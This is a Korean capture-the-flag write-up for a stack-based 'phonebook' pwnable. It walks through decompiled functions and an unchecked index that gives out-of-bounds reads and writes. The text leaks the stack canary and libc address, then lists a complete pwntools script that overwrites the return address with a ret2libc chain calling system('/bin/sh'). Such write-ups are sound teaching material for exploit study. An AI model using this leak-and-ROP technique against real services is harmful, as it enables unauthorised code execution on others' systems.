PWNBOOK#

포너블 문제 중 가장 시작하기 재밌었던 문제다. 익숙한 메뉴, 익숙한 구조체 느낌, 푸는 내내 즐거웠다.

정적 분석#

`main()`#

1
/* WARNING: Unknown calling convention -- yet parameter storage is locked */
2
int init(EVP_PKEY_CTX *ctx)
3
{
4
  int iVar1;
5

6
  memset(ctx,0,0x300); // 768(10진수)
7
  setvbuf(stdin,(char *)0x0,2,0); // ctf용 버퍼설정ㅋ
8
  setvbuf(stdout,(char *)0x0,2,0);
9
  iVar1 = setvbuf(stderr,(char *)0x0,2,0);
10
  return iVar1;
11
}
12

13
int main(void)
14

15
{
16
  int iVar1;
17
  long in_FS_OFFSET;
18
  EVP_PKEY_CTX local_318 [776];
19
  long local_10;
20

21
  local_10 = *(long *)(in_FS_OFFSET + 0x28); // 카나리 넣는 부분이라 해석 ㄴ
22
  init(local_318);
23
  do {
24
    puts("\n=== phonebook ===");
25
    puts("1. create");
26
    puts("2. edit");
27
    puts("3. list");
28
    puts("4. delete");
29
    puts("5. exit");
30
    printf("> ");
31
    iVar1 = read_int();
32
    if (iVar1 == 1) {
33
      create(local_318);
34
    }
35
    if (iVar1 == 2) {
36
      edit(local_318);
37
    }
38
    if (iVar1 == 3) {
39
      list(local_318);
40
    }
41
    if (iVar1 == 4) {
42
      delete(local_318);
43
    }
44
  } while (iVar1 != 5);
45
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
46
    return 0;
47
  }
48
                    /* WARNING: Subroutine does not return */
49
  __stack_chk_fail();
50
}

`EVP_PKEY_CTX`?#

가장 먼저 의문이 된 건 도대체 이 구조체가 뭔가? 였다. 코드가 C언어 기반이라 검색해보니,

OpenSSL 라이브러리에서, 공개키 암호화 알고리즘(Public Key Algorithm)의 동작을 제어하고 구성하기 위한 “컨텍스트(Context, 상태/정보)” 구조체

라고 말하긴 한다…?

do while문에서 돌아가는 내용은 걍

메뉴 보여주고, 입력 받고, 케이스로 돌리고, 이게 끝이다.

각 함수를 분석해보겠다.

`read_int()`#

1
void read_int(void)
2
{
3
  long in_FS_OFFSET;
4
  char local_28 [24];
5
  long local_10;
6

7
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
8
  read_line(local_28,0x10);
9
  atoi(local_28);
10
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
11
                    /* WARNING: Subroutine does not return */
12
    __stack_chk_fail();
13
  }
14
  return;
15
}

내부적으로 read_line()을 호출한다. 0x10만큼만 이렇게 읽어온 뒤 정수로 변형, 이게 끝이다.

`read_line()`#

1
void read_line(char *param_1,int param_2)
2
{
3
  size_t sVar1;
4

5
  read(0,param_1,(long)param_2);
6
  sVar1 = strcspn(param_1,"\n");
7
  param_1[sVar1] = '\0';
8
  return;
9
}

여기선 또 read()를 내부적으로 호출하여 지정된 크기만큼 읽는다.
개행문자가 나오는 지점을 널 바이트로 종결시킨다

`create()`#

1
void create(long param_1)
2
{
3
  int iVar1;
4
  printf("index: ");
5
  iVar1 = read_int();
6
  printf("firstName: ");
7
  read_line(param_1 + (long)iVar1 * 0x60 + 0x40,0x20); // 구조체 느낌
8
  printf("lastName: ");
9
  read_line(param_1 + (long)iVar1 * 0x60 + 0x20,0x20);
10
  printf("phoneNumber: ");
11
  read_line(param_1 + (long)iVar1 * 0x60,0x20);
12
  return;
13
}

여기선 임의의 인덱스에 구조체 멤버에 넣을 값을 적는다. 구조체 크기는 0x60,

첫 번째 멤버는 phoneNumber, 두 번째 멤버는 lastName, 마지막 멤버가 firstName이다. 각각 0x20만큼의 크기를 가지고 있다.

근데 tq i에 대한 제한이 대놓고 없음ㅋㅋㅋㅋㅋㅋㅋ OOB 확인~

`edit()`#

1
void edit(long param_1)
2
{
3
  int iVar1;
4

5
  printf("index: ");
6
  iVar1 = read_int();
7
  printf("firstName: ");
8
  read_line(param_1 + (long)iVar1 * 0x60 + 0x40,0x20);
9
  printf("lastName: ");
10
  read_line(param_1 + (long)iVar1 * 0x60 + 0x20,0x20);
11
  printf("phoneNumber: ");
12
  read_line(param_1 + (long)iVar1 * 0x60,0x20);
13
  return;
14
}

edit또 딱히 create와 다른 점은 없다만, 그래서 취약점도 똑같이 존재함 ㅋㅋㅋㅋㅋㅋㅋㅋㅋ

`list()`#

1
void list(long param_1)
2
{
3
  uint local_c;
4

5
  for (local_c = 0; (int)local_c < 8; local_c = local_c + 1) {
6
    if (*(char *)(param_1 + (long)(int)local_c * 0x60 + 0x40) != '\0') {
7
      printf("[%d] %s %s / %s\n",(ulong)local_c,param_1 + (long)(int)local_c * 0x60 + 0x40,
8
             param_1 + (long)(int)local_c * 0x60 + 0x20,param_1 + (long)(int)local_c * 0x60);
9
    }
10
  }
11
  return;
12
}

각 구조체를 돌면서 firstName이 비어있지 않ㅇ느 경우에 해당 구조체의 값을 전부 출력한다. %s << 얘가 좀 심상치 않다, 널 종결 검사를 하지 않고 출력하기 때문에 임의 읽기에 활용할 수 있음.

`delete()`#

1
void delete(long param_1)
2
{
3
  int iVar1;
4

5
  printf("index: ");
6
  iVar1 = read_int();
7
  memset((void *)(param_1 + (long)iVar1 * 0x60),0,0x60);
8
  return;
9
}

원하는 인덱스에 있는 값을 지운다.

정적 분석—2#

코드는 대충 봤으니 어셈을 보면서 스택 어디에 저장되는지 메모해 보도록 하자.

1
0010165f f3 0f 1e fa     ENDBR64
2
00101663 55              PUSH       RBP
3
00101664 48 89 e5        MOV        RBP,RSP
4
00101667 48 81 ec        SUB        RSP,0x320
5
20 03 00 00
6
0010166e 64 48 8b        MOV        RAX,qword ptr FS:[0x28]
7
04 25 28
8
00 00 00
9
00101677 48 89 45 f8     MOV        qword ptr [RBP + local_10],RAX
10
0010167b 31 c0           XOR        EAX,EAX
11
0010167d 48 8d 85        LEA        RAX=>local_318,[RBP + -0x310]
12
f0 fc ff ff

시작 오프셋은 RBP-0x310이다.

그럼 OOB로 어디까지 읽을 수 있나 보자, 아까 list()에서 봤듯 7까지가 최대니까
8부터 시작하면

구조체8 = ($rbp - 0x310) + 8 * 0x60 = ($rbp - 0x10) 시작 지점이 ($rbp-0x10)이므로 첫 번째 멤버인

phoneNumber는 ($rbp-0x10) ~ ($rbp+0x0f)
lastName은 ($rbp+0x10) ~ ($rbp+0x2f)
firstName은 ($rbp+0x30) ~ ($rbp+0x3f)

따라서!!!!

$rbp-0x8에 canary가 위치해있다.
$rbp+0x8에 saved return address가 위치해있다. 즉, 구조체 8번째 거에서 카나리/RET을 모두 leak할 수 있고, saved rbp도 leak 가능하다. 게다가 쓰는 것도 $rbp+0x3f까지 가능하므로 개꿀ㄲㄹㄲㄹㄲㄹ임ㅋ

EXPLOIT!!!#

계획은 다 짰다. 일단 카나리부터 까보자.

읽을 수 있는 건 7번째 idx까지, 그러나 우린 개행문자를 포함시키지 않고 0x20의 크기를 채운다

그럼 읽을 때 7의 뒤 8(canary/sfp/ret)번째 구조체까지 leak이 가능하다!!

지금은 카나리를 찾는 중이니 8번 만들면서 b’A’를 9개만 넣는다.(phoneNumber에) 그럼 카나리가 출력될 거고, 그걸 뽑으면 되는데 좀 뽑기가 힘들었다. 그래봤자 포맷 잡는 거긴 한데..

카나리는 최하위 1바이트가 널 이므로 이 녀석도 덮어줘야함. 그렇게 main의 SFP를 뽑을 거다!!!

근데 딱히 쓸모가 없음.
걍 이따 ret addr 덮을 수도 있는데 굳이..?

그래서 main의 saved ret addr 을 뽑아주겠다~~

REAL EXPLOIT!!#

1
cat ex.py
2
#!/usr/bin/env python3
3
from pwn import *
4

5
context.arch = "amd64"
6
context.binary = elf = ELF('./prob')
7
context.log_level = "debug"
8
context.terminal = ["tmux", "splitw", "-h"]
9

10
#HOST, PORT = "host3.dreamhack.games 8296".split()
11
HOST, PORT = 'localhost 33687'.split()
12

13
RET_OFF = 0x2A1CA
14
RET_G   = 0x2882F
15
POP_RDI = 0x10F75B
16
BINSH   = 0x1CB42F
17
SYSTEM  = 0x58740
18
EXIT    = 0x47B90
19

20
# ================= IO =================
21
s       = lambda data               : p.send(data)
22
sa      = lambda delim, data        : p.sendafter(delim, data)
23
sl      = lambda data               : p.sendline(data)
24
sla     = lambda delim, data        : p.sendlineafter(delim, data)
25
r       = lambda num=4096           : p.recv(num)
26
rl      = lambda                    : p.recvline()
27
ru      = lambda delim, drop=True   : p.recvuntil(delim, drop)
28
uu64    = lambda data               : u64(data.ljust(8, b'\x00'))
29

30
# ================= CONNECT =================
31
p = remote(HOST, int(PORT))
32
libc = ELF('./libc.so.6')
33

34
# ================= FUNC =================
35
def choose(choice):
36
    sl(str(choice).encode())
37

38
def create(idx, first, last=b"\n", phone=b"\n"):
39
    choose(1)
40
    sla(b"index: ", str(idx).encode())
41
    sa(b"firstName: ", first)
42
    sa(b"lastName: ", last)
43
    sa(b"phoneNumber: ", phone)
44
    ru(b"> ")
45

46
def edit_phone(payload):
47
    choose(2)
48
    sla(b"index: ", b"8")
49
    sa(b"firstName: ", b"\n")
50
    sa(b"lastName: ", b"\n")
51
    sa(b"phoneNumber: ", payload)
52
    ru(b"> ")
53

54
def edit_full(last, phone):
55
    choose(2)
56
    sla(b"index: ", b"8")
57
    sa(b"firstName: ", b"\n")
58
    sa(b"lastName: ", last)
59
    sa(b"phoneNumber: ", phone)
60
    ru(b"> ")
61

62
def do_list():
63
    choose(3)
64
    return ru(b"> ")
65

66
# ================= EXPLOIT =================
67
def exploit():
68
    # 1. create
69
    create(7, b"F" * 32)
70

71
    # 2. canary leak
72
    edit_phone(b"G" * 9)
73
    out = do_list()
74
    line = out.split(b"\n")[0]
75

76
    marker = b"F" * 32 + b"G" * 9
77
    idx = line.index(marker) + len(marker)
78

79
    canary = b"\x00" + line[idx:].split(b"  / ")[0][:7]
80
    log.info(f"canary = {canary.hex()}")
81

82
    # 3. ret leak
83
    payload = b"H" * 8 + b"I" + canary[1:] + b"J" * 8
84
    edit_phone(payload)
85

86
    out = do_list()
87
    line = out.split(b"\n")[0]
88

89
    marker = b"F" * 32 + payload
90
    idx = line.index(marker) + len(marker)
91

92
    ret_leak = line[idx:].split(b"  / ")[0][:6]
93
    ret_addr = uu64(ret_leak)
94

95
    libc_base = ret_addr - RET_OFF
96

97
    log.info(f"ret = {ret_addr:#x}")
98
    log.info(f"libc = {libc_base:#x}")
99

100
    # 4. ROP
101
    last = (
102
        p64(libc_base + POP_RDI)
103
        + p64(libc_base + BINSH)
104
        + p64(libc_base + SYSTEM)
105
        + p64(libc_base + EXIT)
106
    )
107

108
    phone = b"P" * 8 + canary + p64(1) + p64(libc_base + RET_G)
109

110
    edit_full(last, phone)
111

112
    # 5. trigger
113
    choose(5)
114

115
# ================= RUN =================
116
if __name__ == "__main__":
117
    exploit()
118
    p.interactive()

롸업 쓸 당시에 서버 닫혀있어서 로컬에서 도커 띄운 뒤 다시 롸업을 작성했다. 스켈레톤 코드가 영 맛에 들지 않아서 믿음직한 동료에게 포맷을 다시 맞춰주는 쪽으로 도움을 받았다.

PWNBOOK#

정적 분석#

main()#

EVP_PKEY_CTX?#

read_int()#

read_line()#

create()#

edit()#

list()#

delete()#